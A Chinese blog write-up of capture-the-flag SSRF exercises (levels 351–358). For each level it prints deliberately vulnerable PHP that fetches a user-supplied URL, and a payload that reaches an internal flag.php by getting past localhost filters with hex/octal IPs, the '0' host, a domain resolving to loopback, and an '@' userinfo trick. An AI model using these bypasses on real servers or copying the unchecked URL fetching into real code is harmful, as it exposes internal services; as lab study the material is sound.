首页 > 其他分享 >SSRFweb入门-351-358

SSRFweb入门-351-358

时间:2024-12-07 18:32:27浏览次数:3  
标签:127.0 http SSRFweb url flag 351 php payload 358

351:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

payload:url=http://localhost/flag.php
352:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这题限制了只能用http和https
同时不可以出现localhost或者是127.0.0 绕过
这题可以用进制绕过:
各种进制的IP地址

默认

http://127.0.0.1

16进制

http://0x7F000001

8进制

http://0177.0000.0000.0001
353:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

ip只要以127/172开头就代表内网地址,不一定非得127.0.0.1
在Linux中0表示自身的地址
还可以用长整型绕过
或使用sudo.cc代替127.0.0.1/localhost
payload:url=http://o/flag.php
354:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

payload:url=http://sudo.cc/flag.php
355:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这题对长度进行了限制
payload:url=http://0/flag.php
356:
不放了和355一样
357:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

这题因为使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用
使用302重定向
358:
payload:url=http://ctf.@127.0.0.1/flag.php?show

标签:127.0,http,SSRFweb,url,flag,351,php,payload,358
From: https://www.cnblogs.com/govced/p/18592514

相关文章

  • 玩转RK3588开发板基于connector-split 功能实现多屏联动
     什么是多屏拼接显示?多屏拼接显示就是把几个显示器(比如MIPI屏幕、HDMI屏幕或者DP屏幕)拼接显示,把它们变成一个大屏幕。如会议室是拼接屏的主要应用场景之一。在会议室中,拼接屏可以用于显示会议议程、演示资料、视频会议等。拼接屏可以将多个屏幕拼接在一起,形成一个大屏幕,使得参......
  • 迅为RK3588S开发板多屏同显多屏异显多屏异触
          迅为电子RK3588S开发板最多可以支持7个屏幕显示,这主要取决于RK3588芯片内置了VOP控制器,支持四路视频同显或异显,可有效提高行业定制的拓展性。本章节我们将介绍在RK3588S 的Android12系统上实现多屏显示。 1.1Android多屏同显iTOP-RK3588S开......
  • 蓝桥3511飞机降落
    样例输入230100101010100220301020101020201020样例输出YESNO思路:具体来说,对于每架飞机,有起飞时间(t)、降落时间限制(d)和飞行时长(l)等信息,代码要判断能否按照一定规则安排这些飞机的起降顺序,使得所有飞机都能在其降落时间限制内完成降落。代码展示:#incl......
  • 基于 FPGA 的 AD9910 + ADF4351 扫频信号发射平台设计方案
    基于FPGA的AD9910+ADF4351扫频信号发射平台设计方案概要本文介绍一种基于FPGA的扫频信号发射系统设计方案,采用AD9910作为主扫频信号产生器,并利用ADF4351提供可控的混频信号,通过两者的协同工作实现宽频带、高分辨率的扫频信号输出。系统结合FPGA的强大逻辑控......
  • 《Django 5 By Example》阅读笔记:p339-p358
    《Django5ByExample》学习第13天,p359-p382总结,总计24页。一、技术总结1.session(1)session存储方式DatabasesessionsFile-basedsessionsCachedsessionsCacheddatabasesessionsCookie-basedsessions(2)设置CART_SESSION_ID#settings.pyCART_SES......
  • 《Django 5 By Example》阅读笔记:p339-p358
    《Django5ByExample》学习第12天,p339-p358总结,总计20页。一、技术总结1.项目(购物网站)django-adminstartprojectmyshop虽然这里只是示例,但我觉得这种命名为myxxx的习惯非常不好,因为在实际应用中,是不允许这样命名的,很不规范。二、英语总结(生词:1)1.catalogp341,You......
  • MT1351-MT1360 码题集 (c 语言详解)
    MT1351·用函数判断素数c语言代码实现#include<stdio.h>intisPrime(intnum){if(num<=1)return0;for(inti=2;i*i<=num;i++){if(num%i==0){return0;}}return1;}intmain(){......
  • 洛谷题单指南-分治与倍增-P3517 [POI2011] WYK-Plot
    原题链接:https://www.luogu.com.cn/problem/P3517题意解读:有n个连续的点p1,p2,...,pn,将这n个点分成不超过m堆,每堆点连续,每一堆都缩成一个点qi,要使得原来的点p1~ps距离qi的最大值最小(最相似),求这个相似度,并计算一共分成几堆,以及每堆缩到的点qi的坐标。解题思路:要使得若干点缩到一......
  • 正点原子RK3588(一)——开机测试+AI初探
    一、adbadbshell,进入板子的根目录exit,退出到linuxadbpull板子linux(从板子到linux)adbpushlinux板子(从linux到板子)二、测试AI功能2.1resnet18importcv2importnumpyasnpimportplatformfromsynset_labelimportlabelsfromrknnlite.apiimportRKNNLite#decic......
  • 题解:P6351 [PA2011] Hard Choice
    题意维护一张无向图,要求支持以下操作:切断一条边。查询两个点是否有有两条完全不同的路径相连。分析因为断边操作不好维护,考虑离线后将断边变为加边。因此,我们只需要维护加边操作即可。考虑使用LCT。首先,因为涉及到边权,套路地用节点代替边。如果某一条边连接的两个点......